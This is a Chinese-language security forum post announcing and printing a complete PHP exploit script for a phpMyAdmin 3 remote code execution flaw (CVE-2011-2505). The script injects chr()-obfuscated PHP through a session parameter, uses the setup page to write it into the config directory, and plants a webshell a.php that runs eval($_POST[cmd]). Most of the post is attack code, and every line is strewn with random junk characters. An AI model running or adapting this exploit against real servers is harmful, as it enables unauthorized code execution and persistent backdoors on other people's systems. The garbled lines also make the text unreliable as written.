最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。6 a/ e3 M ~ j( h% T
7 T( a* a5 c' |" J* F9 C
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
) {8 h- C# {2 a/ ]2 L6 M( U+ x$ z1 J, D
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:$ h8 L8 E, j! O2 t; m/ D
一是session.auto_start = 1;
5 w. {' _2 }7 _二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。2 f. y! ~# n( ]+ `) ^. n* _( y
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。* [/ s3 A" R& U
$ d# z- r. c( U+ h9 C c& q" B
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。1 o0 R8 g; E0 X$ m: c
4 c% }. Y+ k ^5 ?$ h
于是写了这个php版本的exp,代码如下:
* n! u: i1 ~0 R! H
+ K. f% T1 Q h& Y% _# Y#!/usr/bin/php K( @1 F- y+ `) c1 U; r5 K" e- b
<?php- c" _* Q6 X; L) h9 p" _
print_r('
3 x1 H, P( O1 u: t" z) u+ M$ {( C+---------------------------------------------------------------------------+
) E! r* J& s5 U/ \pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]% M4 Y4 A7 \) b8 h$ P9 |' x1 I
by oldjun(www.oldjun.com)
" F- E+ L/ J/ {6 n" Z( N& p Q E' Uwelcome to www.t00ls.net
$ k. n" i6 p( w5 {! g" [7 Ymail: oldjun@gmail.com
6 P3 Z0 H# I; P7 _- F! n* m, QAssigned CVE id: CVE-2011-25050 t3 y5 \! s2 D3 c$ N* H
+---------------------------------------------------------------------------+
V: A3 ]9 O+ `2 e; O! K');
5 y5 g/ d8 \. f
0 O; c( i& C' e. d4 j/**8 V: b$ `! ^2 `# Q% `
* working when the directory:"config" exists and is writeable.
* e, p g7 S% A. A. H**/
6 W; z- s! o# n% U4 C ! g% {7 M3 N- }; T- Z2 b
if ($argc < 3) {3 [( X0 l2 O: Z J& @
print_r('
5 O7 S0 i* n }+ j' |/ _+---------------------------------------------------------------------------+
% u% Q+ F% B5 `2 m' `3 ^; v+ wUsage: php '.$argv[0].' host path2 U5 c) V0 X- P* ~ {
host: target server (ip/hostname)) @8 ?+ g2 p$ Z( f4 G
path: path to pma3% i* \0 E1 W0 E1 j
Example:' ]0 G: z/ y( Y4 V
php '.$argv[0].' localhost /pma/, M/ d6 d$ F; u7 h3 M$ O
+---------------------------------------------------------------------------+
: N* E/ M V! I0 r+ J% P4 x8 A& q');9 R1 ]8 [+ A0 \3 D9 t
exit;
% { g6 y4 J" b' {}
m; d7 E: Y* N8 o& x3 V4 P* J! n Y3 \: Z) I& E
$host = $argv[1];
& r+ z6 Y& H u6 @. `5 |0 u# Q9 ?$path = $argv[2];
) X, d* f0 V: O2 X U5 b
7 q! K& g! V( A( k) j4 [& E/**9 L N8 \. O+ T1 R0 X2 F1 x) k
* Try to determine if the directory:"config" exists
; M$ T9 e3 e. S" K# G**/% p% m8 F3 _2 C% p0 D# V2 g7 T
echo "[+] Try to determine if the directory:config exists....\n";
, z$ P2 j& j( ]$ y& t h$returnstr=php_request('config/');
4 I; u( w" e! k- q& s6 Aif(strpos($returnstr,'404')){
! y/ \* L- ? z4 Z% i exit("[-] Exploit Failed! The directory:config do not exists!\n");! o+ o$ l. j- B: T5 x, n c8 d
}' w" j$ g' O7 b$ Z6 b! w& i: l
# |1 v$ V0 D5 K2 h# ?/**4 U7 H- q1 _" t; ]/ T
* Try to get token and sessionid
2 M( z* o; T/ B**/( Y& I# Z! O# u" K4 I
echo "[+] Try to get token and sessionid....\n";
. ^9 B6 O0 n8 [2 m7 B% @0 {& o$result=php_request('index.php');* ~2 A5 L6 ?3 F O% W6 j- _
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);3 u6 K/ _/ V; a
$token=$resp[3];
( U& A0 B4 S3 ?* N9 R" j( k" g$sessionid=$resp[1];
& S. _) V8 a, o. w( Dif($token && $sessionid){& F# r4 C# C6 `8 A' Z
echo "[+] token token\n";# b! q' N% g* q( s5 t
echo "[+] Session ID sessionid\n";
# }$ R( A! a+ h}else{& d/ c9 T# c$ [) e
exit("[-] Can't get token and Session ID,Exploit Failed!\n");
2 `( H/ ?- T2 l. F/ i% E} K" ]! [% f0 ~/ C
4 m! F! v6 t+ `* Y9 u/**$ u+ v. Y5 u3 @3 ^' [% k
* Try to insert shell into session
* n8 Q8 h/ P, a3 M0 t7 ^**/
6 ~+ Z) X6 B% l8 |: U1 cecho "[+] Try to insert shell into session....\n";6 S z' `- \& f A+ i
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
2 x" Q* ~) j6 [& z' G( [1 ?
9 r8 W9 t/ I* Q' O7 V% X3 o0 V/**
4 F$ I% U7 j" Q: f6 f0 ]- w * Try to create webshell
& K5 c( T/ ?" b. K2 f**/
9 G! c0 J5 M% t: o) |echo "[+] Try to create webshell....\n";" p7 q3 E* S$ v8 f! Y6 S
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);; O$ ~- t" b7 x, e# }
/**
5 \6 p) B; h8 p$ P5 ]) g4 j2 u$ {8 ? * Try to check if the webshell was created successfully
6 _: K' t7 ]( n. x, w**/
?' `% G/ P' L) O# O3 o5 ^& jecho "[+] Try to check if the webshell was created successfully....\n";* @1 g1 b" _" D, C& E$ [
$content=php_request('config/config.inc.php');# u5 g5 n7 E4 I" |
if(strpos($content,'t00ls')){
$ x( a: N. j; y" H1 F7 M echo "[+] Congratulations! Expoilt successfully....\n";% I( A) P0 F: f
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
* v9 d: k9 U, o+ S3 S9 V& F* j}else{
' N, _. P, r+ G% d exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");7 j. C2 i! c" b$ _ U
}7 G, H1 A; @/ x) V5 L
0 `8 q& [5 U3 o: C' N
function php_request($url,$data='',$cookie=''){
- R8 u) p, ~/ K2 A j, t9 F global $host, $path;; Y# W4 s ?; N
$ \& V& x4 ^% q% u2 v
$method=$data?'POST':'GET';
! ?# k5 S1 \# c7 V! E3 c ( V7 c% G& T0 W2 s; z/ V% P) z% @
$packet = $method." ".$path.$url." HTTP/1.1\r\n";
x% _) Q N/ V+ h, L" p $packet .= "Accept: */*\r\n";( T& k- P- Q, m# y# _+ x# [
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";5 u$ w4 B$ I- ?; o! W
$packet .= "Host: $host\r\n";4 g7 j: R( M9 k, o
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";( N- r0 T' |7 v: i& k
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";0 O6 T; k/ e1 f0 P2 g1 o
$packet .= $cookie?"Cookie: $cookie\r\n":"";
2 x/ V2 J! ?6 t# F $packet .= "Connection: Close\r\n\r\n";( k2 R7 D Z( Y8 P: M4 @. y- \0 A
$packet .= $data?$data:"";
6 ~/ K+ k r4 y* P, {0 G! P& x7 p5 ~: Y* B. K( X6 h/ c2 H3 |: |
$fp = fsockopen(gethostbyname($host), 80);
& G( D) b& @( y/ E6 O; R) ~% s+ b if (!$fp) {( m$ j% B& K1 r) F9 z
echo 'No response from '.$host; die;
& k2 I& y) @. R2 c9 p$ a1 w }
$ k, J- b9 \% D& U2 D fputs($fp, $packet);
5 h. K- a# X% @0 }
! M# g4 s, d |# c: g W $resp = '';: V' I' h1 T% k+ U) v& {
' i3 z. E! F6 ~0 v% \% H% X
while ($fp && !feof($fp)). A* h- C2 t9 F& x
$resp .= fread($fp, 1024);
. ]( ?; F% [0 m9 v/ Q0 h) Q" q
! Q% C6 u& u* e! Z: i1 G return $resp;
4 E% z; `" Q% s- e& Y} c3 h9 S2 H' Q' t0 s2 U$ p" P/ m
1 H' s9 t8 ?# `* I?> ! n/ g9 ^& B9 u2 h' W) k0 N
. |